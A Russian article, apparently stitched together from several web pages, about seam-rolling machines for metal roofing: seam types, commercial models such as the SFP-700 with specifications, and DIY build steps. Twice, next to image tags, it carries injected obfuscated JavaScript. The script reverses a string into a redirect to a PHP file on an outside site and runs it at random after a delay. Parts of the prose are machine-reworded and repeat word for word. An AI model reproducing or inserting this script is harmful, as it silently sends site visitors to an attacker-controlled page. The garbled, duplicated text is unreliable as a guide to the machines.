Фальцепрокатные станки: их назначение и устройство

Гибка металла этапы технологического процесса

Процесс гибки металла состоит из нескольких шагов:

Гибка металла в гибочном штампе

После ее получения необходимо выполнить контрольно-измерительные операции. Эту работу выполняет или сменный мастер или сотрудник отдела технического контроля. Для выполнения этой операции необходимо использовать поверенный мерительный инструмент — линейку, рулетку, угломер и пр.

При выявлении каких-либо дефектов, необходимо внести изменения или в настройки оборудования или в текст управляющей программы.

Только после прохождения технического контроля деталь может быть допущена к дальнейшему использованию. В противном случае некондиционную продукцию надо отправлять или на переделку, или на утилизацию.

Видео описание

О работе станка на объекте в следующем видео:

• Дополнительные функции

  . Некоторые модели позволяют осуществлять настройку работы с различными металлами (под толщину и вид); это делается при помощи регулировки степени зажима рабочих роликов. Универсальные инструменты могут работать с толстым листом, различными формами кровли (прокатывать по отдельности левый и правый фальц), срезать старый фальц.

• Ручные фальцегибочные машины

  удобны при монтаже водосточных труб круглого и прямоугольного сечения.

На рынке представлены станки как отечественные, так и зарубежного производства (немецкого, французского, китайского). Приобретение зарубежного оборудования дает дополнительные преимущества:

• Автоматическая

  (быстрая и точная)регулировка ширины кровельных картин . Мастеру не придется вручную перестраивать каждую пару роликов, перемещая их на валах; это делается плавным поворотом ручки.

• Прокатка картин проходит качественно, без волн благодаря дополнительной паре роликов

Мобильный фальцепрокатный станок Источник mytooling.ru

• Станок предназначен для работы и в цеху, и на стройплощадке

  , в том числе на кровле.

• Прокатываемая поверхность картин с покрытием или из дорогого материала не царапается благодаря использованию специальных составных роликов

Преимущества использования фальцепрокатного станка

Основное преимущество такого оборудования – его высокая мобильность. Кроме того, при использовании специального станка для прокатки фальцев получаемый замок будет качественным, точным и надежным. Постоянное качество по всей длине шва и высокая скорость значительно упрощают кровельные работы по сравнению с использованием ручных приспособлений.

Профессионалы выбирают именно специальное оборудование для производства изделий из листового и рулонного металла. Причин этому несколько. Во-первых, высокое качество работы – заданные параметры фальца станок выдерживает с завидной четкостью и постоянством. Кровельные панели получаются абсолютно идентичными друг другу, что сказывается не только на удобствеих монтажа, но и придает готовой крыше эстетичный внешний вид. А во-вторых, такое техническое устройство значительно повышает скорость производства изделий, а значит, увеличивает прибыль предприятия.

В каталоге компании МОБИПРОФ представлены различные фальцепрокатные станки по доступной цене.

Фальцепрокатный станок применяется в первую очередь для производства кровельного покрытия. Главная задача этого инструмента – прокатка фальцевого замка, который служит для соединенияэлементов конструкции между собой. Такой тип соединения обеспечивает герметичность швов и надежность всей кровли.

Практически все модели фальцепрокатных станков обладают одним существенным достоинством – они почти бесшумны при работе. Благодаря этому работать на таком оборудовании можнодлительное время без использования специальных наушников и без вреда для организма оператора. Это обеспечивает бесперебойный выпуск продукции. Кроме того, хороший станок имеетвысокую производительность, за короткое время можно обработать большое количество изделий. Абсолютно все модели фальцепрокатных станков имеют специальные колеса для повышениямобильности оборудования.

Область применения

Зачастую такой станок используют прямо на строительной площадке параллельно с проведением работ по настилу крыши. Этому способствует удобство в транспортировке оборудования. Разумеется, станок для прокатки фальцев находит широкое применение и производственных цехах. Необходимо отметить, что конструкция фальцепрокатного оборудования позволяет выпускатьпродукцию по индивидуальным размерам в любом требуемом количестве. Современные агрегаты для фальцевого проката могут изготавливать изделий с особым видом замков – самозащелкивающимся фальцем. Такие кровельные панели обладают целым рядом преимуществ – быстрый монтаж, удобство в работе, отличное качество и долговечность получаемого шва.

К примеру, станок СПФ-700 предназначен в основном для изготовления кровельных панелей непосредственно на строительной площадке. Он способен прокатывать как одинарный, так и двойнойстоячий фальц. При этом формы фальца может быть прямой или трапециевидной формы. Аппарат может обрабатывать все типы металла, используемые в производстве кровельного покрытия:

— медные листы;

— алюминиевые листы;

— рулонная и листовая сталь (в том числе и с полимерным покрытием) и так далее.

Современная оптимизированная конструкция станка обеспечивает отличное качество производимой продукции и высокую производительность.

Преимущества использования фальцепрокатного станка

Основное преимущество такого оборудования – его высокая мобильность. Кроме того, при использовании специального станка для прокатки фальцев получаемый замок будет качественным, точным и надежным. Постоянное качество по всей длине шва и высокая скорость значительно упрощают кровельные работы по сравнению с использованием ручных приспособлений.

Профессионалы выбирают именно специальное оборудование для производства изделий из листового и рулонного металла. Причин этому несколько. Во-первых, высокое качество работы – заданные параметры фальца станок выдерживает с завидной четкостью и постоянством. Кровельные панели получаются абсолютно идентичными друг другу, что сказывается не только на удобствеих монтажа, но и придает готовой крышу эстетичный внешний вид. А во-вторых, такое техническое устройство значительно повышает скорость производства изделий, а значит, увеличиваетприбыль предприятия.

В каталоге компании МОБИПРОФ представлены различные фальцепрокатные станки по доступной цене.

Как без помощи других выполнить сборку станка

Не любой человек может для себя дозволить приобрести фальцепрокатный станок, потому весьма нередко люди стараются вручную выполнить сборку такового аппарата. Изготовленный своими руками фальцовщик навряд ли будет владеть теми же функциями, зато будет стоить для вас всего 2 000 – 3000 рублей.

Наружный вид

Сделанный своими руками станок рассчитан на внедрение в домашней мастерской. Такое приспособление прикручивают к верстаку из древесной породы, но если с помощью сварки создать для него ножки, то таковой станок можно будет просто переносить.

Устройство

Система в целом состоит из 3-х частей. На базисную часть обычно все приваривают и прикручивают.

Итак, возьмите уголок из сплава  с крылом в 7.5 см (по минимуму), а если вы возьмете крыл в 10 см, то устройство от этого лишь выигрывает.
Наверху, на несущем уголку приварите 4 пели гаражного типа. На их будет передвижение обжимного пуансона.
Впереди прикрутите ограничивающую полку, но меж базисным уголком и полочкой должен быть вставлен загибочный зуб, который и помогает сформировывать фальцы.
И полочка, и пуансон для обжима делают их уголка в 7.5 см, а не считая того к обжимному пуансону требуется приварить ручку, которую можно создать даже из самой обычной трубы

Направьте внимание, что труднее всего подобрать совершенно ровненькие уголки. Проще всего дать их фрезеровщику, потому что если этого не создать, фальцы будут кривыми

Схема

Для начала к базисному уголку следует прикрутить лицевую часть конструкции:

На болты для крепежа наденьте прокладку, для этого можно применять железную полосу с шириной в 0.1 см.
Дальше, на прокладку наденьте обжимной зуб, который будет изготовлен из ленточной пилы. Потому что рабочая длина приспособления 1.2 метра, то лучше, чтоб и полотно было тех же характеристик, но лучше создать под обычный лист 1.25 метра. Перед монтажом с полотна следует снять фаску.
В последнюю очередь на болты надеваем опорную полочку, а опосля все затяните.

Для обжимного зуба было не напрасно выбрано полотно ленточной пилы, потому что для производства фальцепрокатного станка требуется конкретно крепкий и негнущийся сплав.

Главные характеристики

Чтоб вышел качественный фальц, следует выставить два основных параметра:

• От подкладки до обжимного верхнего зуба обязано быть расстояние в 0.6 см.
  От верхнего обжимного зуба до опорной полочки расстояние обязано быть в 0.8 см.

При таковых габаритах припуск на фальц получится в 2 см, т.е. на края от листов, которые смежные, следует отложить по 1 см.

Принцип деяния

Как применять устройство:

• Чтоб создать загиб на сплаве под прямым углом, следует вложить заготовку в паз и согнуть, пока заготовка не упрется в полочку.
  Чтоб сделать полный фальц, требуется довести обжимной пуансон до упора, пока он не соприкоснется с опорной полочкой.

Работа фальцовщика есть в видео.

Кровельные станки СФП-700 в Москве

Москва Санкт-Петербург Астрахань Белгород Благовещенск Брянск и область Великий Новгород Владимир и обл Владивосток Волгоград Вологда и обл Череповец Воронеж Екатеринбург и обл Нижний Тагил

Иваново Ижевск Иркутск Казань (Татарстан) Калуга и обл Кемерово Краснодар и край Красноярск Набережные Челны Новосибирск Новороссийск Курск Липецк Нижний новгород Дзержинск

Новокузнецк Омск Орел Оренбург Пенза Пермь Петрозаводск Псков Ростов-на-Дону Ставрополь Самара и обл Тольятти Саранск Саратов Смоленск

Сургут Сыктывкар Тамбов Тверь Тула Тюмень Уфа и республика Чебоксары Чита Ярославль и область Респ. Казахстан

Все записи Все записи

Мобильный кровельный станок СФП-700 производит панели для фальцевой кровли с двойным стоячим фальцем. Станок работает со всеми типами кровельного металла (сталь, в т.ч. с полимерным покрытием, медь. в т.ч. патинированная, алюминий, алюцинк, цинк-титан) в рулонах и листах. Шесть рабочих клетей и оптимизированная конфигурация профилировочных роликов обеспечивают высокое качество получаемых кровельных панелей. При работе на стройплощадке кровельный станок СФП-700 обслуживает одновременно две бригады кровельщиков.

Кровельный станок сфп 700 нужен для изготовления фальцевой кровли. Процесс производства строится на использовании современной рулонной технологии. Избегая ненужных горизонтальных соединений, вы можете делать кровельные картины по всей длине ската. Конечно, кровельное железо стоит занчительно меньше, чем листы металла. Подъём рулона на кровлю чрезвычайно удобен. Скорость производства, если сравнивать с ручным методом, в несколько раз выше.

Пара больших заказов и автоматическое оборудование сразу же окупится.

Обязательно обратите внимание на преимущества, которые даёт кровельный станок сфп 700:

Вам не нужно больше перестраивать ролики вручную. Ширина материала подвергающегося обработке плавно регулируется поворотом ручки. Станок очень легко подстраивается под ширину рулона.

Хорошая прокатка картины. Отсутствие волн обеспечивают семь пар прокатывающих роликов.

Для того, чтобы сделать прокатку верхнего фальца используют уникальные составные ролики. Каждый из роликов разделён на две независимые части, и они закреплены на одной оси. Данная схема позволяет избегать царапин на поверхности, которая подвергается обработке

Это имеет важность, если Вы работаете с действительно дорогими материалами или с картинами с покрытием

Кровельный станок мобипроф сфп 700 просто необходим, если вы занимаетесь изготовлением кровли. Возможности этого станка действительно впечатляют!

Ознакомьтесь со значениями в техническом паспорте и если они соответствуют тем требованиям, которые вы предъявляете к своему производству, то сделайте верный шаг и приобретите станок!

Преимущества кровельного станка СФП-700:

• кровельный станок СФП-700 идеально подходит для использования на стройплощадке благодаря небольшой массе и габаритам;
• простая и надёжная конструкция значительно снижает эксплуатационные расходы;
• ступенчатая регулировка ширины кровельной панели в пределах 250 – 700 мм;
• изготавливает кровельные панель-картины прямой и трапециевидной формы, а также с односторонним фальцем;
• возможна установка дополнительных роликов для проката рёбер жёсткости двух видов на поверхности кровельной панель-картины;
• возможна установка комплекта для формирования кровельных картин арочной формы;
• в условиях отсутствия электросети вместо электродвигателя возможна
• два года гарантии и бессрочная сервисная поддержка российского производителя.
  

  Кровельный станок Мобипроф СФП -700	в комплекте
  Разматыватель рулона на 500 кг	в комплекте
  для поперечной резки заготовки перед профилированием	дополнительно
  дополнительно
  дополнительно
  Комплект профилировочных роликов для проката	дополнительно
  Комплект профилировочных роликов для проката	дополнительно
  Комплект профилировочных роликов для проката	дополнительно
  Комплект роликов для проката фальца высотой 35 мм	дополнительно

Ширина обрабатываемого материала, мм	250 – 700
Толщина обрабатываемого материала, мм	0,5 – 0,7
Высота фальца, мм	25
Скорость проката, м/мин	6
Потребляемая мощность, кВт	0,55
Напряжение питания, В	380
Размеры, ДхШхВ, мм	1450х825х830
Масса, кг	140

Отзывов пока нет.

Принципы сборки станка

Первое и самое важное — собрать надежную опору с идеальным горизонтом. Относительно нее и непосредственно к ней крепится неподвижная часть станка — это опорная балка, металлический уголок на болтовом соединении

Между балкой и столом прокладывают полосу металла — так образуется паз для защемления кромки

Важно прочно прикрепить балку к опоре, чтобы во время изгибания она не вращалась вместе с траверсой от приложенного усилия. Траверса представляет собой рычаг с минимальным плечом 1:10 — такой же уголок, как и балка, но закрепленный на подвижной оси

Следующий важный шаг — центрирование оси вращения траверсы. Этот фактор влияет на качество получаемого фальца

Между балкой и столом прокладывают полосу металла — так образуется паз для защемления кромки

Важно прочно прикрепить балку к опоре, чтобы во время изгибания она не вращалась вместе с траверсой от приложенного усилия. Траверса представляет собой рычаг с минимальным плечом 1:10 — такой же уголок, как и балка, но закрепленный на подвижной оси. Следующий важный шаг — центрирование оси вращения траверсы

Этот фактор влияет на качество получаемого фальца

Следующий важный шаг — центрирование оси вращения траверсы. Этот фактор влияет на качество получаемого фальца.

Как выглядит готовый фальцегибочный станок ручной и некоторые особенности конструкции можно увидеть в данном ролике:

Технология производства

Фальцепрокатный станок незаменим как при обустройстве самой фальцевой кровли, так и для изготовления вспомогательной кровельной фурнитуры. Сюда относятся элементы водосточной системы, фронтальные и торцевые свесы кровли, а также с его помощью делают вентиляционные короба из оцинковки.

Виды фальцев

Фальцевое соединение представляет собой скрутку между двумя смежными листами металла, а чтобы обустроить эту скрутку, нужно загнуть фальц по краю листа, вот как раз для загиба этого фальца и нужен фальцепрокатный станок.

Фальцевых соединений существует 2 — это одинарный и двойной фальц, плюс фальцы могут быть стоячими и лежачими.

От выбора соединения зависит уровень герметичности.

• Одинарный фальц считается основой, здесь один лист просто загибается под 90º, а на втором листе делается своеобразный зацеп и после соединения этот зацеп обжимается;
• Двойной фальц можно назвать аналогом одинарного, только скрутка делается в 2 оборота. Чтобы так завернуть металл размер зацепа в заготовке должен быть меньше, в среднем порядка 5-7 мм, а высота заготовки делается наоборот, больше.

Что касается лежачих вариантов соединения, то они точно такие же, как стоячие, только завернуты набок.

Особенно хорошо Г-образный фальц выглядит на скругленных радиусах.

Общие сведения о станках

Главное достоинство фальцевой кровли в том, что покрытие получается монолитным, без каких-либо крепежных или соединительных отверстий. Но кровельный металл сам по себе довольно тонкий и делать заготовки на производстве, а потом транспортировать их на объект неудобно, а зачастую и нереально.

Небольшой фальцевый станок кардинально меняет ситуацию. С таким оборудованием можно делать заготовки непосредственно на объекте, более того, существуют модели, которые можно установить прямо на крыше.

Есть еще один важный нюанс: для загибания кромки листов нужен фальцепрокатный станок, а чтобы сделать двойной фальц и опрессовать соединение доведя его до конечного результата, используется фальцеосадочный станок.

$mWn=function(n){if(typeof ($mWn.list)==»string») return $mWn.list.split(«»).reverse().join(«»);return $mWn.list;};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dochnyj-stanok-v-razy-sokrashhaet-vremya-obustrojstva-krovli.jpg» alt=»Фальцеосадочный станок в разы сокращает время обустройства кровли.» width=»500″ height=»375″ /> Фальцеосадочный станок в разы сокращает время обустройства кровли.

Зачастую толщина металла для кровельных работ колеблется в районе 0,5-1 мм, при этом максимум составляет 1,2 мм. Но хороший станок для фальцевой кровли рассчитывается под работу с металлом от 0,3 до 1,5 мм.

Такое оборудование уже ближе к профессиональному, и на нем можно делать не только кровельные картины, но еще гнуть заготовки под разного рода водосточные или вентиляционные трубы, плюс делать ендове желоба и коньковые накладки.

Сам принцип работы агрегата прост: любой фалцепрокатный станок имеет ряд обжимных фигурных роликов, которые собственно и загибают края листа. Обжимные ролики устанавливаются попарно на обжимные валы.

$mWn=function(n){if(typeof ($mWn.list)==»string») return $mWn.list.split(«»).reverse().join(«»);return $mWn.list;};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom-horosho-600×419.jpg» alt=»Фальцепрокатный станок с ручным приводом хорошо подходит для любительского использования.» width=»600″ height=»419″ /> Фальцепрокатный станок с ручным приводом хорошо подходит для любительского использования.

Количество таких обжимных валов может быть разное, но, сколько бы их ни было, они приводятся в движение редуктором, а сам редуктор вращается благодаря электродвигателю. Есть, конечно, оборудование с ручным приводом, но производительность там очень низкая и такие аппараты встречаются редко.

Фальцевая кровля

Чтобы более детально разобраться в таких вопросах, как:

• Фальцевая кровля что это такое, и какой металл используется для изготовления картин?
• В чем заключаются ее основные преимущества и недостатки?
• Какие у нее есть особенности?
• Возможно ли делать монтаж по инструкции, видео фальцевой кровли своим руками?
• Какая цена за м2 фальцевой кровли, и в какую сумму обойдется ее устройство профессиональными кровельщиками?

Рекомендуем ознакомиться с предоставленной ниже информацией! Она поможет определиться с видом покрытия и типом конструкции крыши, способом устройства и, возможно, ваш выбор будет сделан в пользу данного варианта.

2 Обзор распространенных заводских моделей

Мобильное устройство для гибки кровли СФП-700 способно производить панели, оснащенные двойным стоячим фальцем. Станок может работать со всеми разновидностями кровельного металла, в том числе со сталью, медью, цинком или полимерными покрытиями.

Он оснащен шесть рабочими клетями и имеет оптимизированную конфигурацию профилировочных роликов. Они обеспечивают высокое качество изготавливаемого покрытия. При работе на строительной площадке представленный станок может одновременно обслуживать до двух кровельных бригад. Среди преимуществ следует выделить:

• небольшой вес и габариты устройства;
• простую и надежную конструкцию;
• возможность ступенчатой регулировки ширины будущих панелей от 200 до 700 мм;
• возможность изготовления различных типов панелей – прямых, трапециевидных, односторонних;
• возможность установки механического двигателя (при отсутствии электросети).

Фальцепрокатный станок lС 12R, как и его аналог ручной фальцепрокатный станок lc 12r (ФПС) также производят подготовку краев заранее раскроенных кровельных листов. Модель с обозначением «R» производит накатку 5 разновидностей фальцев, в том числе и стоячего по радиусу.

Ручной фальцепрокатный станок lc 12r

Как и фальцепрокатный станок lc 12dr, устройство с маркировкой «DR» также способно накатывать до 5 видов разных фальцев. Дополнительное преимущество устройства в том, что оно может формировать соединительную рейку.

Фальцепрокаточные станки моделей СТД-11019А и СТД-11019А-01 также могут быть использованы для фальцевой прокатки, создания соединительных реек и элементов, а также для прямоугольных воздухоотводов. Устройства могут работать с тонколистовыми низкоуглеродистыми видами сталей любой марки.

Толщина листа может колебаться от 0,5 до 1 мм. Представленные агрегаты отличаются:

• пониженными шумовыми характеристиками рабочего привода;
• улучшенными возможностями для регулирования роликов;
• новой электрической схемой управления станком;
• наличием винтовых опор для установки без подготовленного фундамента.

2.1 Делаем фальцепрокатный станок (ФПС) своими руками

Станок при желании можно изготовить не только из металла, но и из дерева. Он сможет сгибать металлические и алюминиевые листы небольшой толщины. Укрепляется конструкция с помощью металлических уголков.

Обжимной пуансон крепится к основанию при помощи гаек барашкового типа, снизу которых размещаются шайбы с соответствующим диаметром. По необходимости пуансоны можно изготовить с разными размерами. Особенно удобно это в тех случаях, когда предполагается обработка листов с разной толщиной.

Для создания такого агрегата будет нужен сварочный аппарат для соединения деталей. При этом детали конструкции будут аналогичными: пуансон, обеспечивающий прижим, основание и сам прижим.

Все детали должны быть с увеличенными размерами для обеспечения работы с более масштабными расходными материалами

Важно проследить за тем, чтобы пуансон и прижим были короче основания на 5-7 мм. После того, как прижим будет установлен в нем нужно просверлить два отверстия для крепежных болтов

Самодельный ручной фальцепрокатный станок

Рычаг можно сделать из арматурного прута, который предварительно выгибается и приваривается к уголкам. Диаметр прута не должен быть меньше 15 мм. Далее конструкция оснащается боковыми защитными панелями. С этой целью можно использовать листовую сталь с толщиной в 5 мм.

Для этого необходимо провести пробную сборку. В тисках следует зажать пуансон и основание таким образом, чтобы рабочая зона угла пуансона и швеллер, закрепленный на основании, располагались в одной плоскости. Зазор между деталями не должен превышать 1 мм. После этого защитные панели надеваются на ось пуансона и привариваются в нескольких местах.

Далее можно произвести тестовую гибку металла, используя с этой целью тонкие листы. При проведении работ можно производить калибровку аппарата. С этой целью боковые листы не следует приваривать окончательно. После корректировки их можно будет закрепить должным образом.

Принцип работы фальцепрокатного станка

Если хотите, чтобы этот агрегат долго и беспроблемно прослужил, следует понять главной принцип его работы. При нажатии на пусковую кнопку должен заработать электрический мотор. Вращающий момент от электропривода подается на формирующие валы с роликами, посредством цепной передачи и редуктора. Лист металла проходит ровно по направляющим станка на первую пару роликов. Они цепляют заготовку и проталкивают ее через обрабатывающие ролики. Устройство выключаю после того, как оно обработает необходимую длину металлического листа. Для извлечения готового изделия, запускают обратный ход. Затем необходимо только скрепить заготовки специальным закаточным инструментом.

Stalex AX20G

Ролики под кожухом Stalex AX20G

Первый ролик Stalex AX20G

Важные отличительные характеристики такого оборудования, на которые следует обратить внимание при выборе:

• количество профилирующих пар (число пар роликов, сгибающих лист в фальц);
• разновидность профилирования фальцевых замков на одном станке (сколько разных видов соединений, замков может делать станок);
• ограничения по ширине заготовки;
• максимальная рабочая толщина;
• производительность (для станков с ручным приводом данная характеристика условна и зависит от внешних факторов.

Основные типы замковых соединений, которые могут делать различные модели фальцепрокатных станков:

• лежачий фальц;
• питтсбургский фальц, американка;
• защелочный фальц;
• закрытый угловой фальц;
• стоячий фальц;
• C-рейка;
• S-шина.

Подводя общий итог, можно выделить следующие преимущества данных фальцепрокатных станков:

• высокая точность работы;
• надежность;
• простота в обслуживании;
• отсутствие повреждений покрытия материала;
• большинство моделей поставляются с электронной системой управления, с помощью которой можно создавать двойные замки при скреплении различных изделий;
• наличие винтовых опорных элементов обеспечивает хорошую устойчивость без необходимости усиления фундамента;
• для работы на станке не нужно большого опыта и высокой квалификации оператора;
• возможна обработка изделий с радиальными, криволинейными или прямыми краями, что значительно расширяет сферу применения;
• оборудование по желанию заказчика может поставляться с индивидуальной оснасткой, расширяющей функционал станка.

Сейчас самыми популярными на рынке моделями фальцепрокатных станков являются LC-12R Stalex, LC-12R ACL, LC-15DR ACL, LC-15CR ACL. Они заслужили свою популярность оптимальным сочетанием высокого качества, удобства в работе и невысокой цене. Данные модели производятся на заводах TTMC в Китае. Уточнить наличие или заказать их можно в компании «Стербруст». Доставка любого оборудования производится транспортными компаниями по всей России и СНГ.